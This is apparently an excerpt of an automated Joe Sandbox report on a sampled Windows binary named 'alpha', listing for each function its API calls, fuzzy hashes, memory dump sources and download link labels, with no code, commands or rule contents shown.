Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 3677997916-3870813718
Opcode ID: f05f94d0e8c90ab29cc9672b6bad58f1af5175f7397cd948b2f834cc6da7e466
Instruction ID: 2ad9cca77517636d47d5c777083e9e3e1320ae3780f69f1db63110ac429fe615
Opcode Fuzzy Hash: f05f94d0e8c90ab29cc9672b6bad58f1af5175f7397cd948b2f834cc6da7e466
Instruction Fuzzy Hash: 3511F576619B46C7EB109B50E44466AFBA4FB89764F844235EA8D02B68DF7CD04CCB18

Function 00007FF718D44C18 Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D44C78

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

wcsrchr.MSVCRT ref: 00007FF718D44CB9
wcsrchr.MSVCRT ref: 00007FF718D44CE6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D44DD7
wcschr.MSVCRT ref: 00007FF718D628DB

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memsetwcsrchr$wcschr
String ID:
API String ID: 110935159-0
Opcode ID: 7f89d826d325d620df1b2fcc26921faad221c5699a8a27cefdce3e68956840aa
Instruction ID: cfdb750314014df78d34deafcf6d3e82b893b0df67dbd4dcf158389f9464f1f2
Opcode Fuzzy Hash: 7f89d826d325d620df1b2fcc26921faad221c5699a8a27cefdce3e68956840aa
Instruction Fuzzy Hash: 6351C522B0AF8A85FB21AB1198443F9D391BF4CBB4F984271CE9D07B84DE3CD18D8214

Function 00007FF718D55EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D55F5D

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D56029

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

towupper.MSVCRT ref: 00007FF718D55FFE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 42cade6b9a84014cdd55cf9873a1d02384d54167611cbf46e5f63f406bd17b97
Instruction ID: d3c3830ac4fa294bfd0166fbbd0880678090e88dcc72baf3060690436ba86fa5
Opcode Fuzzy Hash: 42cade6b9a84014cdd55cf9873a1d02384d54167611cbf46e5f63f406bd17b97
Instruction Fuzzy Hash: 5E51B926605B8985EB65AF24E9006B9F7B0FF4C768FC58236D98D07694EF3CD54C8324

Function 00007FF718D491C0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D4921C

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D493AA

Part of subcall function 00007FF718D48B20: wcsrchr.MSVCRT ref: 00007FF718D48BAB
Part of subcall function 00007FF718D48B20: _wcsicmp.MSVCRT ref: 00007FF718D48BD4
Part of subcall function 00007FF718D48B20: _wcsicmp.MSVCRT ref: 00007FF718D48BF2
Part of subcall function 00007FF718D48B20: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48C16
Part of subcall function 00007FF718D48B20: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D48C2F
Part of subcall function 00007FF718D48B20: wcschr.MSVCRT ref: 00007FF718D48CB3

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,0000000A,00007FF718D492AC), ref: 00007FF718D530CA
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D530DD
Part of subcall function 00007FF718D53060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D530F6
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D53106

wcsrchr.MSVCRT ref: 00007FF718D492D8
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D49362
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D49373

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Error$Mode$AttributesFileLast_wcsicmpmemsetwcsrchr$CurrentDirectoryFullNamePathwcschr
String ID:
API String ID: 3966000956-0
Opcode ID: ebfeb5aba0ebfd8d4bf52c22c54dc17d70488fb3d721b256590214c2a6c830f5
Instruction ID: da95b63afb2cd9854da63f31223b6ce31f6ec4b8c7999bdc5c0510cf410f0d62
Opcode Fuzzy Hash: ebfeb5aba0ebfd8d4bf52c22c54dc17d70488fb3d721b256590214c2a6c830f5
Instruction Fuzzy Hash: 6A519132A09B8A85EB21AF21D8552BDE3A0FB4DB64F884171DA8D07B94DF3CE15DC714

Function 00007FF718D42A30 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF718D42A6A
memset.MSVCRT ref: 00007FF718D42AB4
memset.MSVCRT ref: 00007FF718D42AD8
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D42BED
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D42C0D

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$_setjmp
String ID:
API String ID: 3883041866-0
Opcode ID: ecc4c4b8fdff3fe7128d071ff51470f6781c2868d41e5204ec9995c2413b862b
Instruction ID: 5c857462265ea7e8ece4aab7cba0a225c68c158e208e0b9ce2de64e9c7b350cf
Opcode Fuzzy Hash: ecc4c4b8fdff3fe7128d071ff51470f6781c2868d41e5204ec9995c2413b862b
Instruction Fuzzy Hash: 13518132608B8A8AEB61EF21D8413E9F7A4FB49758F844175DA8C47A48DF3CD64CCB14

Function 00007FF718D4DF60 Relevance: 7.6, APIs: 5, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF718D4CEAA), ref: 00007FF718D4DFB8
RtlFreeHeap.NTDLL ref: 00007FF718D4DFCC
_setjmp.MSVCRT ref: 00007FF718D4E03E

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess_setjmp
String ID:
API String ID: 777023205-0
Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction ID: 82b0b483243eae06aeca2f551c84fd05aa2fb49c38ff94c7b6a3e1b9c30da641
Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction Fuzzy Hash: E151683090DF4A89FB10BF11A882538F6A0FF5E774FD84575E98D826A5DE3CA44C8729

Function 00007FF718D4B49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF718D4B4BD

Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506D6
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506F0
Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D5074D
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D50762

_wcsicmp.MSVCRT ref: 00007FF718D4B518
_wcsicmp.MSVCRT ref: 00007FF718D4B58B

Strings

ELSE, xrefs: 00007FF718D4B584
IF/?, xrefs: 00007FF718D4B4B4

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: ELSE$IF/?
API String ID: 3223794493-1134991328
Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction ID: c1d45ca4d89ca6173850abebbcbabd48c8d9cd9f269fbe2cb0a4086bf0d8b677
Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction Fuzzy Hash: 31417B31E0CF4B82FB54BBA4A4512BDE2A1AF5D764FD84175D58D06A96EE3CE40C8328

Function 00007FF718D6E3E8 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D6E43A
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6E45A
_get_osfhandle.MSVCRT ref: 00007FF718D6E4D9
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6E4F1

Part of subcall function 00007FF718D6D9D0: longjmp.MSVCRT(?,?,00000000,00007FF718D6048E), ref: 00007FF718D6DA58
Part of subcall function 00007FF718D6D9D0: memset.MSVCRT ref: 00007FF718D6DAD6
Part of subcall function 00007FF718D6D9D0: memset.MSVCRT ref: 00007FF718D6DAFC
Part of subcall function 00007FF718D6D9D0: memset.MSVCRT ref: 00007FF718D6DB22

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$File_get_osfhandle$PointerReadlongjmp
String ID:
API String ID: 1532185241-0
Opcode ID: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction ID: 748c820bbf654bc4cf28379dde4f4dc9b6e640ca8bc008ed58a68016d17f3c33
Opcode Fuzzy Hash: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction Fuzzy Hash: CE41B431A04F5987E714AB21E44157DF6A1FB8CBA0FE54535EA8A43785CF3CE44D8714

Function 00007FF718D44FE8 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D45012
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D45030
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D62A84
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D62AD8
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D62B0F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorFileLast$DeleteRead_get_osfhandle
String ID:
API String ID: 3588551418-0
Opcode ID: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction ID: 87b049696ebcbe53f94a8eb8eee218eb9ba4fab12293f04f2b49af62eafdaff6
Opcode Fuzzy Hash: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction Fuzzy Hash: 83417235A08F4ACBE714AF11E44167DF761EB49BA0FD84039E68A47B95CE2CE84C8754

Function 00007FF718D6E558 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D6E5AD
memset.MSVCRT ref: 00007FF718D6E5D2

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

_wcsicmp.MSVCRT ref: 00007FF718D6E6A0
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E6CB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E6EB

Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,0000000A,00007FF718D492AC), ref: 00007FF718D530CA
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D530DD
Part of subcall function 00007FF718D53060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D530F6
Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D53106

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorModememset$FullNamePath_wcsicmp
String ID:
API String ID: 2123716050-0
Opcode ID: adb19cba2c66798b02c2a5bbb02a13772110447b40978f30d8852c1ecb13dfff
Instruction ID: 2ede39c5e764906d82746c1559c5b1a7e0a52ce66e8702293063dc1b6383eeaf
Opcode Fuzzy Hash: adb19cba2c66798b02c2a5bbb02a13772110447b40978f30d8852c1ecb13dfff
Instruction Fuzzy Hash: 6B41D432705FCA8AEB359F21D8413E9A7A4EB4D75CF944134CA8D4AA98DF3CE24C8314

Function 00007FF718D465F8 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

RoInitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF718D46627
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF718D46642

Part of subcall function 00007FF718D55A68: _get_osfhandle.MSVCRT ref: 00007FF718D55A89
Part of subcall function 00007FF718D55A68: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D55A9E
Part of subcall function 00007FF718D55A68: _get_osfhandle.MSVCRT ref: 00007FF718D55AAC

memset.MSVCRT ref: 00007FF718D46697
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF718D466B0
RoUninitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF718D4670C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Window_get_osfhandle$InitializeModeUninitializememset
String ID:
API String ID: 3114114779-0
Opcode ID: 1d3c40c4db9270235dfbff6205660991289e4dcca270832023e59d6b38883110
Instruction ID: 8581490a6cffa08ab49ed88a40f0adb06c8f3f4d525376edf5b3e0ffe83da1ce
Opcode Fuzzy Hash: 1d3c40c4db9270235dfbff6205660991289e4dcca270832023e59d6b38883110
Instruction Fuzzy Hash: 93415832A05F0ACAE700AF65E4402ACB7B5FB48758FA44075EA4E93B54DF38E40EC764

Function 00007FF718D6A73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A77A
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A7AF
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A80E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A839
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A850

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: QueryValue$CloseErrorLastOpen
String ID:
API String ID: 2240656346-0
Opcode ID: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
Instruction ID: 117e47af816d2f36131012157b6a5d3264f58ffb8e0ea5fc3b9218b0b21487e5
Opcode Fuzzy Hash: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
Instruction Fuzzy Hash: 6B316D32A18F4A86E750AF15E440569F7A5FB8C7B0FA44135EACE42764DF3CD84D8B24

Function 00007FF718D6D0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D501B8: _get_osfhandle.MSVCRT ref: 00007FF718D501C4
Part of subcall function 00007FF718D501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D6D0F9
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D6D10F
ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D6D166
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D6D17A
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D6D18C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
String ID:
API String ID: 3008996577-0
Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction ID: b2c43751b9d40e2640d46864356cefc4ec7a3209d36607cf2beaed4196c17def
Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction Fuzzy Hash: 2F214B22B14B558AF700AB71E4014BDB7B0FB4DB68B945235DE8D93B58DF38D048CB28

Function 00007FF718D55CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D6C9EE,?,?,?,00007FF718D6EA6C,?,?,?,00007FF718D6E925), ref: 00007FF718D55CCB
GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FF718D6C9EE,?,?,?,00007FF718D6EA6C,?,?,?,00007FF718D6E925), ref: 00007FF718D55CDF
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D55D03
fprintf.MSVCRT ref: 00007FF718D5F4A9
fflush.MSVCRT ref: 00007FF718D5F4C2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
String ID:
API String ID: 1826527819-0
Opcode ID: 424fc31126f981a1d5e6876f03eadb09916e9ca5210b05511d0996a25080ff4f
Instruction ID: 3bc5c544c137754e682b82902344e5c8d6b4c2028ef720f088a157da44528559
Opcode Fuzzy Hash: 424fc31126f981a1d5e6876f03eadb09916e9ca5210b05511d0996a25080ff4f
Instruction Fuzzy Hash: E7011B21A08F8A8AE7047B15E4551B9FA71FF8E769FC45135E98F06395DF3CA04C8728

Function 00007FF718D65770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D65874
CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D6595E

Strings

_p0, xrefs: 00007FF718D65811
wil, xrefs: 00007FF718D658A8, 00007FF718D65993

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
